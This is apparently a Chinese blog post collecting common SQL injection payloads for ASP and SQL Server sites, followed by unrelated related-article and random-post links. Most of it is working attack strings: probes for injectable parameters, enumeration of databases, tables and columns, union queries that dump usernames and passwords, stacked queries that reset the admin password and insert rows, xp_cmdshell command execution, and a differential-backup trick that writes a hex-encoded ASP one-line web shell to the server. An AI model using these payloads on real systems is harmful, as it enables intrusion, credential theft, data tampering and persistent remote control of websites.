SQL注入常用语句
1、直接加' 2、and 1=1 3、 and
1=2
如果1、3运行异常 2正常就存在注入
字符型判断
1、直接加' 2、and '1'='1' 3、 and
'1'='2'
搜索型: 关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
如果1、3运行异常 2正常就存在注入
获取数据库版本
and (select @@version)>0
获取当前数据库名
and db_name()>0
获取当前数据库用户名
and user>0
and
user_name()='dbo'
猜解所有数据库名称
and (select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6) <>0
猜解表的字段名称
and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
and
(select top 1 asernaose from admin where id =1)>1
.asp?id=xx having 1=1
其中admin.id就是一个表名admin 一个列名id
.asp?id=xx group by admin.id having 1=1 可以得到列名
.asp?id=xx group by admin.id,admin.username having 1=1 得到另一个列名 页面要和表有联系
如果知道了表名和字段名就可以爆出准确的值
union select
1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
爆账号
union select min(username),1,1,1,.. from users where username > 'a'
依次循环爆其余的账号
union select min(username),1,1,1,.. from users where username
> 'admin'
;begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from userstable where username>@ret
select @ret as ret into foo end
修改管理员的密码为123
.asp?id=××;update admin set
password='123' where id =1
.asp?id=××;insert into admin(asd,..)
values(123,..) –就能能往admin中写入123了
rebots.txt
猜解数据库中用户名表的名称
and
(select count(*) from 数据库.dbo.表名)>0
若表名存在,则工作正常,否则异常
得到用户名表的名称,基本的实现方法是
1:
and (select top 1 name from 数据库.dbo.sysobjects
where xtype='U' and status>0 )>0 或
and (Select Top 1 name from
sysobjects where xtype=’U’ and status>0)>0
但在异常中却可以发现表的名称。假设发现的表名是xyz,则
2:
and (select top 1 name from
数据库.dbo.sysobjects where xtype='U' and status>0 and name not
in('xyz','..'..))>0
可以得到第二个用户建立的表的名称,同理就可得到所有用建立的 表的名称
3:
and
(select top l name from (select top [N]id,name from bysobjects where
xtype=char(85)) T order by id desc)>1 N为数据库中地N个表
利用系统表区分数据库类型
and
(select count(*) from sysobjects)>0
and (select count(*) from
msysobjects)>0
若是SQL-SERVE则第一条,ACCESS则两条都会异常
判断是否有比较高的权限
and
1=(select is_srvrolemember('sysadmin'))
and 1=(select
is_srvrolemember('serveradmin'))
判断当前数据库用户名是否为db_owner:
and 1=(select
is_member('db_owner'))
xp_cmdshell
:exec master..xp_cmdshell '要执行的cmd命令'
判断长度
and (select top 1 len(字段) from 表名)>5
爆料出正确值
and (select
top 1 asc(substring(字段,1,1)) from 表名)>0
差异备份
//备份数据库到某处
;backup
database 数据库名 to disk ='c:\\charlog.bak';--
//创建名为datachar的表
;create
table [dbo].[datachar] ([cmd] [image])
cmd为列名 image 数据类型
//插入值,为一句话木马的16进制形式:<%execute(request("a"))%>
;insert into
datachar(cmd)values(0x3C25657865637574652872657175657374282261222929253E)—
//进行差异备份,把不同的信息备份到某处
;backup database 数据库名 to disk='目录' WITH
DIFFERENTIAL,FORMAT;--
SQL注入常用语句的更多相关文章
- SQL注入常用命令
1. 数据库查询版本 Mssql select @@version Mysql select vresion()/select @@version oracle select banner from ...
- SQL server 常用语句
SQL Server中常用的SQL语句 1.概述 2.查询概述 3.单表查询 4.连接查询 5.带有exists的相关子查询 6.SQL的集合操作 7.插入操作 8.删除操作 9.修改操作 10. ...
- 常见的SQL注入检测语句(转载)
0x00 前言 现在很多WAF都能拦截sqlmap.havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击 0x01 发现SQL 注 ...
- SQL注入常用函数(注入小白的学习笔记)
在盲注的情况下,往往需要一个一个字符的去猜解,即过程中需要截取字符串 在这里整理了一下一些常用函数 由于现阶段学习不够深入,整理分类不清楚具体,不过博主会慢慢进行完善 user() 查询当前数据库用户 ...
- SQL Server常用语句
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- sql数据库常用语句总结
1.增加字段 alter table docdsp add dspcodechar(200)2.删除字段 ALTER TABLE table_NAME DROP COLUMNc ...
- SQL的常用语句
select * from g_members where id between '16' and '31' order by id desc 倒序排列 select * from g_members ...
- SQL触发器 常用语句
一.创建一个简单的触发器 CREATE TRIGGER 触发器名称 ON 表名 FOR INSERT.UPDATE 或 DELETE AS T-SQL 语句 注意:触发器名称是不加引号的. ...
- (二)SQL注入常用的内置函数整理(以MySql为例)
[1]@@datadir 函数作用:返回数据库的存储目录构造SQL语句 select @@datadir; [2]@@version_compile_os 函数作用:查看服务器的操作系统SQL语句 ...
随机推荐
- vi / vim 删除以及翻页 其它命令
vim中翻页的命令 vim中翻页的命令 整页翻页 ctrl-f ctrl-b f就是forword b就是backward 翻半页 ctrl-d ctlr-u d=down u=up 滚一行 ctrl ...
- MyBatis学习总结_07_Mybatis缓存
一.MyBatis缓存介绍 正如大多数持久层框架一样,MyBatis 同样提供了一级缓存和二级缓存的支持 一级缓存: 基于PerpetualCache 的 HashMap本地缓存,其存储作用域为 Se ...
- Android 时间戳简单转化
时间戳就是如1377216000000 这种格式我们在mysql数据库中会经常用到把时间转换成时间戳或把时间戳转换成日期格式了,下面我来介绍安卓中时间戳操作转换方法. 一.原理 时间戳的原理是把时间格 ...
- rc.local自启动学习(转)
linux有自己一套完整的启动体系,抓住了linux启动的脉络,linux的启动过程将不再神秘. 本文中假设inittab中设置的init tree为: /etc/rc.d/rc0.d/etc/rc. ...
- webServer xampp的安装及使用
一.下载: 西装xampp1.73版本,其他版本可能会出错,为了你能顺利安装,最好用此版本: 二.安装: 1.安装路径,最好不要放到系统盘去[c:],建议非系统盘都可,尤其是早期的XAMPP版本可能默 ...
- jsp导出excel
很多时候,我们都知道在java项目里面采用poi来导出excel很方便,但是如果你的项目采用的是jsp你可以用更简单的方法来导出.首先你要在顶部引入:<jsp:directive.page im ...
- eclipse启动报错 java was started but returned exit code = -805306369
前几天还工作的好好的eclipse昨天下午启动时突然报错 报错如图: 妹的,好端端突然报错,非常奇怪,关键还是返回一堆看不懂的东西,细看都是eclipse.ini里面的配置信息,看到熟悉的jdk,误以 ...
- 查看linux系统常用的命令,Linux查看系统配置常用命令
一.linux CPU大小 cat /proc/cpuinfo |grep "model name" && cat /proc/cpuinfo |grep &qu ...
- Tmall发送码asp验证sing(自有码开发)
<%''查询通知应答类'============================================================================'api说明:'g ...
- pl/sql programming 02 创建并运行plsql代码
/* * chap 02 * ------------------------------------------------- */ create or replace function wordc ...